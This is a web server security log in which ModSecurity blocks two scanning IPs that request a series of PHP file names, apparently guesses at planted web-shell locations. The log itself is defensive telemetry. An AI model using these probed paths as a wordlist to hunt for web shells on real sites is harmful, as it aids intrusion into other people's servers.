[Sun Mar 29 22:37:48.554773 2026] [:error] [pid 32255:tid 32301] [client 52.242.135.164:38556] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ticket.php"] [unique_id "ack5PGnfn-AtRoMbquwCVAAAAEo"]
[Sun Mar 29 22:37:49.523102 2026] [:error] [pid 23250:tid 23269] [client 52.242.135.164:25038] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ticket.php"] [unique_id "ack5PZxrpj-dQjy1cvoNEAAAAlE"]
[Sun Mar 29 22:37:50.934430 2026] [:error] [pid 32255:tid 32312] [client 52.242.135.164:3002] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ticket.php"] [unique_id "ack5Pmnfn-AtRoMbquwCVgAAAFU"]
[Sun Mar 29 22:37:52.111038 2026] [:error] [pid 8818:tid 8823] [client 52.242.135.164:48896] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wglum1.php"] [unique_id "ack5QCCDvotZNSF0FBrqCwAAAUE"]
[Sun Mar 29 22:37:53.194663 2026] [:error] [pid 23284:tid 23296] [client 52.242.135.164:36531] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wglum1.php"] [unique_id "ack5QYzBujdPHsq7wyTBMQAAAoo"]
[Sun Mar 29 22:37:54.037705 2026] [:error] [pid 23284:tid 23288] [client 52.242.135.164:64824] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wglum1.php"] [unique_id "ack5QozBujdPHsq7wyTBOgAAAoI"]
[Sun Mar 29 22:37:55.772471 2026] [:error] [pid 32257:tid 32331] [client 52.242.135.164:38956] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wglum1.php"] [unique_id "ack5QyE3TArOFrUtgWpN9gAAAI0"]
[Sun Mar 29 22:37:56.859112 2026] [:error] [pid 23250:tid 23273] [client 52.242.135.164:65157] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "ack5RJxrpj-dQjy1cvoNFgAAAlU"]
[Sun Mar 29 22:37:57.781378 2026] [:error] [pid 32359:tid 32367] [client 52.242.135.164:63877] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "ack5RQMb8G3UzfQP3Wg1JAAAAMY"]
[Sun Mar 29 22:37:58.929540 2026] [:error] [pid 32254:tid 32287] [client 52.242.135.164:25031] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "ack5Rqug2IHuyGgCTn9hSgAAABc"]
[Sun Mar 29 22:38:00.378913 2026] [:error] [pid 32255:tid 32308] [client 52.242.135.164:45792] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "ack5SGnfn-AtRoMbquwCZAAAAFE"]
[Sun Mar 29 22:38:00.947612 2026] [:error] [pid 23168:tid 23212] [client 52.242.135.164:45793] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ack5SGP8p0yRL8ot_2-shwAAAg8"]
[Sun Mar 29 22:38:01.449831 2026] [:error] [pid 23168:tid 23214] [client 52.242.135.164:2415] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ack5SWP8p0yRL8ot_2-sigAAAhE"]
[Sun Mar 29 22:38:03.126888 2026] [:error] [pid 8818:tid 8826] [client 52.242.135.164:45780] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ack5SyCDvotZNSF0FBrqJwAAAUQ"]
[Sun Mar 29 22:38:04.833119 2026] [:error] [pid 32255:tid 32306] [client 52.242.135.164:40538] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ack5TGnfn-AtRoMbquwCawAAAE8"]
[Sun Mar 29 22:38:05.646698 2026] [:error] [pid 32255:tid 32302] [client 52.242.135.164:36529] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdone1.php"] [unique_id "ack5TWnfn-AtRoMbquwCbwAAAEs"]
[Sun Mar 29 22:38:06.793518 2026] [:error] [pid 32255:tid 32301] [client 52.242.135.164:40525] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdone1.php"] [unique_id "ack5Tmnfn-AtRoMbquwCdQAAAEo"]
[Sun Mar 29 22:38:07.296831 2026] [:error] [pid 32257:tid 32334] [client 52.242.135.164:38540] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdone1.php"] [unique_id "ack5TyE3TArOFrUtgWpOEAAAAJA"]
[Sun Mar 29 22:38:08.167066 2026] [:error] [pid 32257:tid 32318] [client 52.242.135.164:38918] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdone1.php"] [unique_id "ack5UCE3TArOFrUtgWpOGQAAAIA"]
[Sun Mar 29 22:38:09.521351 2026] [:error] [pid 23284:tid 23306] [client 52.242.135.164:65159] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xpass.php"] [unique_id "ack5UYzBujdPHsq7wyTBeAAAApQ"]
[Sun Mar 29 22:38:10.878419 2026] [:error] [pid 32254:tid 32281] [client 52.242.135.164:25055] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xpass.php"] [unique_id "ack5Uqug2IHuyGgCTn9hTwAAABE"]
[Sun Mar 29 22:38:11.843826 2026] [:error] [pid 23137:tid 23141] [client 52.242.135.164:40575] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xpass.php"] [unique_id "ack5UxaWQa7LdZ_qGFYCPwAAAYI"]
[Sun Mar 29 22:38:13.420068 2026] [:error] [pid 32255:tid 32291] [client 52.242.135.164:2944] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xpass.php"] [unique_id "ack5VWnfn-AtRoMbquwCewAAAEA"]
[Sun Mar 29 22:38:14.499842 2026] [:error] [pid 23168:tid 23205] [client 52.242.135.164:38539] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ad.php"] [unique_id "ack5VmP8p0yRL8ot_2-slwAAAgg"]
[Sun Mar 29 22:38:16.704758 2026] [:error] [pid 23168:tid 23216] [client 52.242.135.164:53671] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ad.php"] [unique_id "ack5WGP8p0yRL8ot_2-smwAAAhM"]
[Sun Mar 29 22:38:17.521279 2026] [:error] [pid 23168:tid 23200] [client 52.242.135.164:65183] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ad.php"] [unique_id "ack5WWP8p0yRL8ot_2-snAAAAgM"]
[Sun Mar 29 22:38:18.031283 2026] [:error] [pid 32255:tid 32295] [client 52.242.135.164:38963] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ad.php"] [unique_id "ack5Wmnfn-AtRoMbquwChQAAAEQ"]
[Sun Mar 29 22:38:18.500674 2026] [:error] [pid 32359:tid 32374] [client 52.242.135.164:51499] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "ack5WgMb8G3UzfQP3Wg1LQAAAM0"]
[Sun Mar 29 22:38:20.136138 2026] [:error] [pid 32254:tid 32287] [client 52.242.135.164:48921] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "ack5XKug2IHuyGgCTn9hWQAAABc"]
[Sun Mar 29 22:38:21.325400 2026] [:error] [pid 23168:tid 23199] [client 52.242.135.164:2995] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "ack5XWP8p0yRL8ot_2-soQAAAgI"]
[Sun Mar 29 22:38:22.634757 2026] [:error] [pid 23284:tid 23291] [client 52.242.135.164:48956] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "ack5XozBujdPHsq7wyTBoAAAAoU"]
[Sun Mar 29 23:20:28.938039 2026] [:error] [pid 32255:tid 32295] [client 68.155.145.150:12254] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "aclDPGnfn-AtRoMbquwUxQAAAEQ"]
[Sun Mar 29 23:20:30.334642 2026] [:error] [pid 23284:tid 23298] [client 68.155.145.150:12163] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "aclDPozBujdPHsq7wyTh7gAAAow"]
[Sun Mar 29 23:20:31.078572 2026] [:error] [pid 8818:tid 8822] [client 68.155.145.150:12172] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "aclDPyCDvotZNSF0FBrzIAAAAUA"]
[Sun Mar 29 23:20:31.527401 2026] [:error] [pid 23284:tid 23286] [client 68.155.145.150:12268] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "aclDP4zBujdPHsq7wyTh_QAAAoA"]
[Sun Mar 29 23:20:32.064387 2026] [:error] [pid 8818:tid 8838] [client 68.155.145.150:12277] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aclDQCCDvotZNSF0FBrzJQAAAVA"]
[Sun Mar 29 23:20:32.451632 2026] [:error] [pid 23284:tid 23307] [client 68.155.145.150:12241] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aclDQIzBujdPHsq7wyTiAAAAApU"]
[Sun Mar 29 23:20:32.854862 2026] [:error] [pid 32257:tid 32340] [client 68.155.145.150:12282] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aclDQCE3TArOFrUtgWpmkQAAAJY"]
[Sun Mar 29 23:20:33.267766 2026] [:error] [pid 32257:tid 32326] [client 68.155.145.150:12243] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aclDQSE3TArOFrUtgWpmlQAAAIg"]
[Sun Mar 29 23:20:33.674785 2026] [:error] [pid 32257:tid 32327] [client 68.155.145.150:12233] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "aclDQSE3TArOFrUtgWpmmQAAAIk"]
[Sun Mar 29 23:20:34.087098 2026] [:error] [pid 23284:tid 23291] [client 68.155.145.150:12176] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "aclDQozBujdPHsq7wyTiCQAAAoU"]
[Sun Mar 29 23:20:34.595563 2026] [:error] [pid 23284:tid 23307] [client 68.155.145.150:12235] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "aclDQozBujdPHsq7wyTiCwAAApU"]
[Sun Mar 29 23:20:35.018523 2026] [:error] [pid 23284:tid 23305] [client 68.155.145.150:12272] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asasx.php"] [unique_id "aclDQ4zBujdPHsq7wyTiDQAAApM"]
[Sun Mar 29 23:20:35.464459 2026] [:error] [pid 23284:tid 23298] [client 68.155.145.150:12193] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aclDQ4zBujdPHsq7wyTiEAAAAow"]
[Sun Mar 29 23:20:36.048806 2026] [:error] [pid 32257:tid 32324] [client 68.155.145.150:12260] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aclDRCE3TArOFrUtgWpmowAAAIY"]
[Sun Mar 29 23:20:36.568861 2026] [:error] [pid 23137:tid 23154] [client 68.155.145.150:12230] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aclDRBaWQa7LdZ_qGFYJYAAAAY8"]
[Sun Mar 29 23:20:37.142261 2026] [:error] [pid 32255:tid 32294] [client 68.155.145.150:12160] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aclDRWnfn-AtRoMbquwU2QAAAEM"]
[Sun Mar 29 23:20:37.584050 2026] [:error] [pid 23168:tid 23203] [client 68.155.145.150:12203] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aclDRWP8p0yRL8ot_2-6RAAAAgY"]
[Sun Mar 29 23:20:37.989484 2026] [:error] [pid 32255:tid 32307] [client 68.155.145.150:12101] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aclDRWnfn-AtRoMbquwU2wAAAFA"]
[Sun Mar 29 23:20:38.567745 2026] [:error] [pid 23250:tid 23252] [client 68.155.145.150:12249] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aclDRpxrpj-dQjy1cvoUtAAAAkA"]
[Sun Mar 29 23:20:39.052813 2026] [:error] [pid 32257:tid 32325] [client 68.155.145.150:12177] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aclDRyE3TArOFrUtgWpmrwAAAIc"]
[Sun Mar 29 23:20:39.573558 2026] [:error] [pid 32257:tid 32330] [client 68.155.145.150:12274] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sale.php"] [unique_id "aclDRyE3TArOFrUtgWpmswAAAIw"]
[Sun Mar 29 23:20:40.070283 2026] [:error] [pid 32359:tid 32368] [client 68.155.145.150:12276] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sale.php"] [unique_id "aclDSAMb8G3UzfQP3Wg6-wAAAMc"]
[Sun Mar 29 23:20:40.529548 2026] [:error] [pid 32257:tid 32335] [client 68.155.145.150:12165] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sale.php"] [unique_id "aclDSCE3TArOFrUtgWpmuQAAAJE"]
[Sun Mar 29 23:20:41.118982 2026] [:error] [pid 23168:tid 23201] [client 68.155.145.150:12171] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sale.php"] [unique_id "aclDSWP8p0yRL8ot_2-6SgAAAgQ"]
[Sun Mar 29 23:20:41.793984 2026] [:error] [pid 32359:tid 32383] [client 68.155.145.150:12250] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "aclDSQMb8G3UzfQP3Wg6_wAAANY"]
